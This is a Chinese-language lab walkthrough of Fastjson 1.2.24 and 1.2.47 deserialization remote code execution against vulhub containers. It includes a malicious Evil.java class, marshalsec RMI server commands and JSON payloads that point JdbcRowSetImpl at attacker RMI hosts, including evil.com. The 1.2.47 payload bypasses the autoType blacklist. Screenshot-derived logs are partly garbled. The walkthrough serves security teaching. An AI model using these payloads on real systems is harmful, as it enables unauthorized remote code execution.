一、Fastjson
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Fastjson 是阿里巴巴开发的一款高性能 Java JSON 处理库，主要用于实现 Java 对象与 JSON 格式的相互转换（序列化与反序列化），因处理速度快、功能丰富而被广泛应用于 Java 后端开发。
核心功能
序列化：将 Java 对象（包括复杂类型如集合、泛型、自定义类等）转换为 JSON 字符串；
反序列化：将 JSON 字符串解析为 Java 对象，支持通过 @type 字段指定目标类（即 autoType 功能，自动识别并实例化对应类）。
反序列化的核心
在 FastJson 将 JSON 字符串反序列化为指定 Java 类的过程中，会调用目标类的 setter 方法。
FastJson 反序列化的核心是将 JSON 字段的值映射到 Java 对象的属性中。
默认情况下，它会根据 JSON 字段名匹配 Java 类的属性，并通过setter 方法为属性赋值，规则如下：
若 JSON 中有字段 name，FastJson 会寻找对应属性 name 的 setter 方法 setName(...)，通过该方法将值传入；
若属性是 public 修饰的（无需 setter），FastJson 会直接为字段赋值（跳过 setter），但这种情况较少见（通常属性会设为 private，通过 setter 访问）。
二、Fastjson 1.2.24
漏洞描述
Fastjson 是阿里开源 Java JSON 解析库，1.2.24 及更早版本默认开启 AutoType 自动类型机制，反序列化时允许 JSON 中使用@type指定 Java 类全限定名，没有对加载类做安全校验.。
攻击者构造恶意 JSON，指定 JDK 内置 gadget 类com.sun.rowset.JdbcRowSetImpl；Fastjson 反序列化时实例化该类，自动调用 setter 方法：
dataSourceName赋值为攻击者的rmi://或ldap://恶意服务地址
autoCommit:true触发内部connect()方法，执行 JNDI lookup 远程查询
目标 JVM 访问攻击者 RMI/LDAP 服务器，获取恶意 Reference 对象，远程加载恶意字节码类，实现未授权远程代码执行 RCE
影响范围
fastjson <= 1.2.24
漏洞原理
Fastjson 在解析 JSON 时，会根据 @type 字段指定的类名自动实例化对应类（即 autoType 功能）。
1.2.24 版本中，autoType 未完全禁用，且对危险类的黑名单校验不严格，导致攻击者可指定如 com.sun.rowset.JdbcRowSetImpl，这类包含 JNDI 调用逻辑的类。
dbcRowSetImpl类的setAutoCommit()会调用connect()函数，connect()函数如下：
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// 初始化一个 JNDI 命名和目录服务的上下文环境
//在 Java EE 环境中，应用服务器负责管理各种资源（如数据库连接池、消息队列等）。这行代码相当于拿到了一个“资源目录的入口”，准备开始查找资源。
InitialContext var1 = new InitialContext();

//根据名称查找数据源，并将其转换为 DataSource 对象。
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
//this.getDataSourceName() 会返回一个字符串

//参数为
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168
.88.1:1389/cvvfob","autoCommit":true}
//Fastjson 解析到 @type 时，会去实例化JdbcRowSetImpl类，Fastjson会自动调用该类的setDataSourceName()方法，将攻击者的恶意LDAP务器地址赋值给内部变量。
所以在FastJson反序列化漏洞过程中，我们可以控制dataSourceName的值，也就是说满足了JNDI注入利用的条件。
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漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./fastjson/1.2.24-rce/
root@ubuntu:~/vulhub/fastjson/1.2.24-rce# docker compose up -d
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构造恶意类：
import java.lang.Runtime;
import java.lang.Process;
public class Evil{
        static {
                try{
                        Runtime rt = Runtime.getRuntime();
                        String[] commands = {"touch","/tmp/test.txt"};
                        Process pc = rt.exec(commands);
                        pc.waitFor();
                } catch (Exception e) {
                        // do nothing
                }

        }
}
编译为class文件。
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在当前目录下启动http服务。
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使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器，监听 9999 端口，并指定加载远程类 Evil.class：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999
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抓取访问数据包，发生到Repeater模块中，将get修改为post，且Content-Type修改为application/json，添加上请求数据。
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.4:9999/Evil",
        "autoCommit":true
    }
}
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状态码虽然为500，但是文件已经写入成功。
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RMI服务器的访问记录：
[image: ]
http服务器的请求记录：
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修复建议
升级版本
三、Fastjson 1.2.47
漏洞描述
Fastjson 1.2.25 版本引入黑名单、默认关闭 AutoType 来修复 1.2.24，但内部存在类缓存TypeUtils.mappings机制。
当解析@type:"java.lang.Class"时，读取val指定类名，会把该类加载存入全局缓存，不会走黑名单校验。
同一个 JSON 数据包内，后面再次@type引用这个已经进入缓存的危险类时，优先读取缓存，跳过黑名单与 AutoType 开关检查，直接实例化对象。
继续使用com.sun.rowset.JdbcRowSetImpl gadget，dataSourceName指向攻击者 LDAP/RMI 服务，autoCommit:true触发 JNDI lookup，远程加载恶意类实现远程代码执行 RCE。
关键特点：不需要开启 AutoTypeSupport，关闭状态下依旧可以利用，危害比 1.2.24 更大。
影响范围
Fastjson = 1.2.47
漏洞原理
Fastjson 于 1.2.24 版本后增加了反序列化白名单，而在 1.2.48 以前的版本中，攻击者可以利用特殊构造的 JSON 字符串绕过白名单检测，成功执行任意命令。
Fastjson 的 autoType 功能用于在反序列化时根据 @type 字段自动识别并实例化目标类。
1.2.47 版本中，官方虽对 autoType 增加了黑名单和校验逻辑，但存在两个关键绕过点：
类名格式绕过：通过在类名前添加特殊前缀（如 L + 类全名 + ;，模拟 JVM 内部类名格式），可绕过 autoType 对类名的校验；
危险类利用：com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类（JDK 内置）未被有效拦截。
该类的 _bytecodes 字段可存储恶意类的字节码，在反序列化过程中，TemplatesImpl 初始化时会通过 defineClass 方法加载字节码，触发恶意代码执行（无需 JNDI 中间服务）。
利用链
TemplatesImpl 是 JDK 中用于 XSLT 转换的类，其内部逻辑存在安全隐患：
包含 _bytecodes 字段，可存储类的字节码数组；
当调用 getOutputProperties() 等方法时，会触发 defineTransletClasses() 方法，通过类加载器将 _bytecodes 中的字节码加载为类，并实例化；
若 _bytecodes 中是恶意类（含静态代码块或构造函数命令执行逻辑），加载时会自动执行恶意代码。
利用TemplatesImpl类直接加载恶意字节码（无需 JNDI，不受 JDK 版本限制）。
漏洞复现
目标环境是 openjdk:8u102，这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制，我们可以简单利用 RMI 进行命令执行。
那么我们可以通过java.lang.Class提前加载JdbcRowSetImpl类绕过autoType限制，再实例化JdbcRowSetImpl触发 JNDI 注入。
依赖两个关键条件：
目标类JdbcRowSetImpl未被 Fastjson 的黑名单拦截；
依赖 JNDI 服务（如 RMI/LDAP）返回恶意类引用，且目标 JDK 版本较低（无 JNDI 防护）。
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./fastjson/1.2.47-rce/
root@ubuntu:~/vulhub/fastjson/1.2.47-rce# docker compose up -d
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访问靶机地址。
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构造恶意Java文件。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/maolin"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
将java文件编译为class文件。
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在本地启动http服务。
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使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器，监听 9999 端口，并指定加载远程类 Evil.class：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999
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抓取数据包，发生到Repeater模块中，并且修改请求方式和Content-Type类型。
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传入恶意的请求数据。
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.4:9999/Evil",
        "autoCommit":true
    }
}
[image: ]
响应码虽然是400，但是写入成功。
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查看rmi服务记录
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访问http服务记录
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修复建议
升级版本
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private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;

} else if(this.getDataSourceName() != null) {
try { ‘—____,——,,,—

InitialContext varl = new InitialContext();

= (Datasource)varl.lookup(this.getDataSourceName());

DataSource var2 =
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(th

} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString(

I
} else {

return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), t
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S:\vulhub\vulhub\fastjson\1.2.24-rce>docker-compose up -d

[+] Running 9/9

wweb Pulled
wU3c265008fae
waf36d2c7a1u8
+2b7bldd10elcl
w§264389d8f2f
wla2cl6e93fla
+f9506bb322cO
w96f5dadllc2c
+21645f07clbe

[+] Running 2/2

Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull

complete
complete
complete
complete
complete
complete
complete
complete

wNetwork 1224-rce_default Created
wContainer 1224-rce-web-1 Started

S:\vulhub\vulhub\fastjson\1.2.24-rce>docker ps
CONTAINER ID IMAGE

52f90e5f81dd  vulhub/fastjson:1.2.24

S:\vulhub\vulhub\fastjson\1.2.24-rce>

COMMAND
"java -Dserver.addre.."

CREATED
14 seconds ago

STATUS
Up 13 seconds

31.9s
12.6s
13.3s
17.6s
20.8s
20.8s
22.1s
22.1s
27.5s

0.0s
0.8s

PORTS
0.0.0.0:8090->8090/tcp, [::]:8090->8090/tcp

NAMES
1224-rce-web-1
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Microsoft Windows [hZ#A 10.0.26100.6899]
(c) Microsoft Corporation, {REETHENF.

S:\java\sectest\fastjson>javac Evil.java
S:\java\sectest\fastjson>dir

X#IEE S RNELE Security
BFFISE 7C5C-ABE

S:\java\sectest\fastjson B H

2025-160-28 T4 08:39 <DIR>
2025-160-28 T4 08:32 <DIR>

2025-160-28 T4 08:39 586 Evil.class
2025-160-28 R4 08:37 363 Evil.java
2 N U9 FIy

2 ANEF 106,399,109,120 JHFH

S:\java\sectest\fastjson>
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S:\java\sectest\fastjson>python -m http.server IIStlng for /
Serving HTTP on :: port 8000 (http://[::1:8000/) ...

(ff££:127.0.0.1 - - [28/0ct/2025 20:40:13] "GET / HTTP/1.1" 200 -
£££:127.0.0.1 - - [28/0ct/2025 20:40:13] code 40U, message File not found
FF£:127.0.0.1 - - [28/0ct/2025 20:40:13] "GET /favicon.ico HTTP/1.1" 4e4 - « Eviljava
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S:\Tools\jar\marshalsec-jar-master>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Evil" 9999
* Opening JRMP listener on 9999
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Request Response
Pretty Raw  Hex Pretty Raw Hex Render n
1 POST / HITP/1.1 1 HITP/1.1 500
2 Host: 127.0.0.1:8090 2 Content-Type: text/html;charset=IS0-8859-1
3 Cache~Control: max-age=0 3 Content-Language: zh-CN
4 sec—ch-ua: "Not)A;Brand”;v="8", "Chromium”; 4 Content-Length: 328
5 sec-ch-ua-mobile: ?0 5 Date: Tue, 28 Oct 2025 13:06:55 GMT
6 sec-ch-ua-platform: “Windows” 6 Comnection: close
7 Accept-Language: zh-CN, zh;q=0. 9 7
§ Upgrade-Insecure-Requests: 1 8 <html>
O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 <body>
Safari/537. 36 <h1>
0 Accept: Whitelabel Error Page
text/html, application/shtml+xnl, application/xml;q=0. 9, inage/avif, inage/webp, image/apng, */+;q=0. 8, application/signed </n1>
exchange; v=b3;q=0. 7 <>
1 Sec-Fetch-Site: none This application has no explicit mapping for /error, so you are seeing this as a fallback.
2 Sec-Fetch-Mode: navigate <fp>
3 Sec-Fetch-User: ?1 <div id=" created >
4 Sec-Fetch-Dest: document Tue Oct 28 13:06:55 UTC 2025
5 Accept-Encoding: gzip, deflate, br </div>
6 ¢ fion: malive <div>
7 Content-Type: application/json There was an unexpected error (type=Internal Server Error, status=500).
§ Content-Length: 156 </div>
9 <div>
0 { set property error, autoCommit
1 </div>
2 “@type”: " com. sun. rowset. JdbcRowSetImpl”, </body>

“dataSourceName” : “rmi://192. 168. 1. 4:9999/Evil”, </html>
“autoCommit”:true
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root@5290e5f81dd:
total 12

drwxr-xr-x 1 root
drwxr-xr-x 2 root
drwxr-xr-x 3 root
root@5290e5f81dd:
total 12

drwxr-xr-x 1 root
-rw-r--r-— 1 root
drwxr-xr-x 2 root
drwxr-xr-x 3 root
root@5290e5f81dd:

/tmp# 1s -1

root 4096 Oct
root 4096 Oct
root 4096 Oct
/tmp# 1s -1

root 4096 Oct
root 0 Oct
root 4096 Oct
root 4096 Oct
/tmp#

hsperfdata_root
tomcat-docbase.1564941117980197399.8090
tomcat.2229505541014558768.8090

hsperfdata_root

test. txt Eue—
tomcat-docbase.1564941117980197399.8090
tomcat.2229505541014558768.8090
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S:\Tools\jar\marshalsec-jar-master>java —cp marshalsec—0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999
* Opening JRMP listener on 9999

Have connection from /192.168.1.4:3882

Reading message. ..

Is RMI.lookup call for Evil 2

Sending remote classloading stub targeting http://192.168.1.4:8000/Evil.class

Closing connection
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S:\java\sectest\fastjson>python -m http.server

Servlng HTTP on :: port 8000 (http://[::1:8000/) ...

E - [28/0ct/2625 20:40:13] "GET / HTTP/1.1" 200 -

- [28/0ct/2625 26:40:13] code 464, message File not found
- [28/0ct/2025 20:40:13] "GET /favicon.ico HTTP/1.1" 4e4 -
A'F'F'F'F 192.168.1.4 - - [28/0ct/2025 21:06:55] "GET /Evil.class HTTP/1.1" 200 -
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S:\vulhub\vulhub\fastjson\1.2.47-rce>

S:\vulhub\vulhub\fastjson\1.2.47-rce>docker compose up -d

[+] Running 9/9

wweb Pulled
wU3c265008fae
waf36d2c7a1u8
+2b7bldd10elcl
w§264389d8f2f
wla2cl6e93fla
+f9506bb322cO
w96f5dadllc2c
+98e1779f38c3

[+] Running 2/2

Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull

complete
complete
complete
complete
complete
complete
complete
complete

wNetwork 1247-rce_default Created
wContainer 1247-rce-web-1 Started

S:\vulhub\vulhub\fastjson\1.2.47-rce>docker ps
CONTAINER ID IMAGE

0d7c6e3ae35d  vulhub/fastjson:1.2.45

S:\vulhub\vulhub\fastjson\1.2.47-rce>

COMMAND
"java -Dserver.addre.."

CREATED
7 seconds ago

STATUS
Up 6 seconds

PORTS
0.0.0.0:8090->8090/tcp, [

:8090->8090/tcp

NAMES
1247-rce-web-1
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S:\java\sectest\fastjson>javac Evil.java

S:\java\sectest\fastjson>dir
X#IEE S RNELE Security
BENFFSE 7C5C-ABE

S:\java\sectest\fastjson B H

2025-10-28 R4 09:17 <DIR>
2025-160-28 T4F 08:32 <DIR>

2025-160-28 R4 09:17 584 Evil.class
2025-160-28 T4 09:16 389 Evil.java
2 N 973 F1

2 AEHS 106,503,565,312 f {HFH

S:\java\sectest\fastjson>|
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S:\java\sectest\fastjson>python -m http.server

Serving HTTP on :: port 8000 (http:// 8000/) ...
£££:192.168.1.4 - - [28/0ct/2025 21:18:36] "GET / HTTP/1.1" 200 -
Fff£:192.168.1.4 - - [28/0ct/2025 21:18:36] code U404, message File not found
£££:192.168.1.4 - - [28/0ct/2025 21:18:36] "GET /favicon.ico HTTP/1.1" 4ed -
Directory listing for / x4
« C O QF#Z2 http//192.168.1.4:8000 Bay €

Directory listing for /
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S:\Tools\jar\marshalsec-jar-master>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999
* Opening JRMP listener on 9999
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Request
Pret Raw  Hex

POST / HITP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec—ch-ua: "Not)A;Brand”;
sec-ch-ua-mobile: 20
sec-ch-ua-platform: “Windows”
Accept-Language: zh-CN, zh;q=0. 9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0
Safari/537. 36
10 Accept:
text/html, application/shtml+snl, application/xml;q=0. 9, inage/avif, inage/webp, image/apng, */+;
ed-exchange; v=b3;q=0. 7
|1 Sec-Fetch-Site: none
2 Sec-Fetch-Mode: navigate
3 Sec-Fetch-User: ?1
|4 Sec-Fetch-Dest: document
5 Accept-Encoding: gzip, deflate, br

"8”, “Chromium”

1
3
4
5
6

© o

=0. 8, application/sign

7 Content-Type:

18 Content-Length: 0
19

20 |
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Request Response

Pretty Raw  Hex \n = | pretty Raw Hex Render \
1 POST / HITP/1.1 1 HITP/1.1 400
> Host: 127.0.0. 1:8090 2 Content-Type: text/html;charset=IS0-8859-1
3 Cache-Control: max-age=0 3 Content-Language: zh-CN
4 sec—ch-ua: "Not)A;Brand”;v="8", "Chromium”;v="138" 4 Content-Length: 424
5 sec-ch-ua-mobile: 70 5 Date: Tue, 28 Oct 2025 13:28:23 GMT
6 sec-ch-ua-platform: “Windows” 6 Comnection: close
7 Accept-Language: zh-CN, zh;q=0.9 7
3 Upgrade-Insecure-Requests: 1 8 <html>
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 <body>
Safari/537. 36 <h1>
0 Accept: Whitelabel Error Page
text/html, application/shtml+xnl, application/xml;q=0.9, inage/avif, inage/webp, image/apng, +/*;q=0. 8, application/sign </n1>
ed-exchange; v=b3;q=0. 7 <>
I Sec-Fetch-Site: none This application has no explicit mapping for /error, so you are seeing this as a fallback.
2 Sec-Fetch-Mode: navigate <fp>
3 Sec-Fetch-User: ?1 <div id=" created >
4 Sec-Fetch-Dest: document Tue Oct 28 13:28:23 UTC 2025
5 Accept-Encoding: gzip, deflate, br </div>
6 3 <div>
" Content-Type: application/json There was an unexpected error (type=Bad Request, status=400).
S Content-Length: 258 </div>
9 <div>
0 { JSON parse error: set property error, autoCommit; nested exception is com. alibaba.fastjson. JSONExceptio
1 "al set property error, autoCommit
2 “@type”:”java. lang. Class”, </div>
3 “val”:”com. sun. rowset. JdbcRowSetImpl” </body>
4, </html>
5 "b:{
6 “@type”:”com. sun. rowset. JdbcRowSetImpl”,
7 “dataSourceName” : “rmi://192. 168. 1. 4:9999/Evil”,
8 “autoCommit”:true
9 )
0}
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root@0d7c6e3ae35d:
total 12

drwxr-xr-x 1 root
drwxr-xr-x 2 root
drwxr-xr-x 3 root
root@0d7c6e3ae35d:
total 12

drwxr-xr-x 1 root
-rw-r--r-- 1 root
drwxr-xr-x 2 root
drwxr-xr-x 3 root
root@0d7c6e3ae35d:

/tmp# 1s -1

root 4096 Oct
root 4096 Oct
root 4096 Oct
/tmp# 1s -1

root 4096 Oct
root 0 Oct
root 4096 Oct
root 4096 Oct
/tmp#

hsperfdata_root
tomcat-docbase.703694112725912358.80960
tomcat.4843335416555142274.8090

hsperfdata_root

maolin
tomcat-docbase.703694112725912358.80960
tomcat.4843335416555142274.8090
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S:\Tools\jar\marshalsec-jar-master>java —cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999
* Opening JRMP listener on 9999

Have connection from /192.168.1.4:10946

Reading message. ..

Is RMI.lookup call for Evil 2

Sending remote classloading stub targeting http://192.168.1.4:8000/Evil.class

Closing connection
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S:\java\sectest\fastjson>python -m http.server

Serving HTTP on :: port 8000 (http://[:
::fff£:192.168.1.4 - - [28/0ct/2025 21
::fff£:192.168.1.4 - - [28/0ct/2025 21

£££:192.168.1.4 - - [28/0ct/2025 21
:Ff££:192.168.1.4 - - [28/0ct/2025 21

1:8000/) ...
:18:36] "GET / HTTP/1.1" 200 -

:18:36] code 404, message File not found

:18:36] "GET /favicon.ico HTTP/1.1" d4e4 -
:28:23] "GET /Evil.class HTTP/1.1" 200 -
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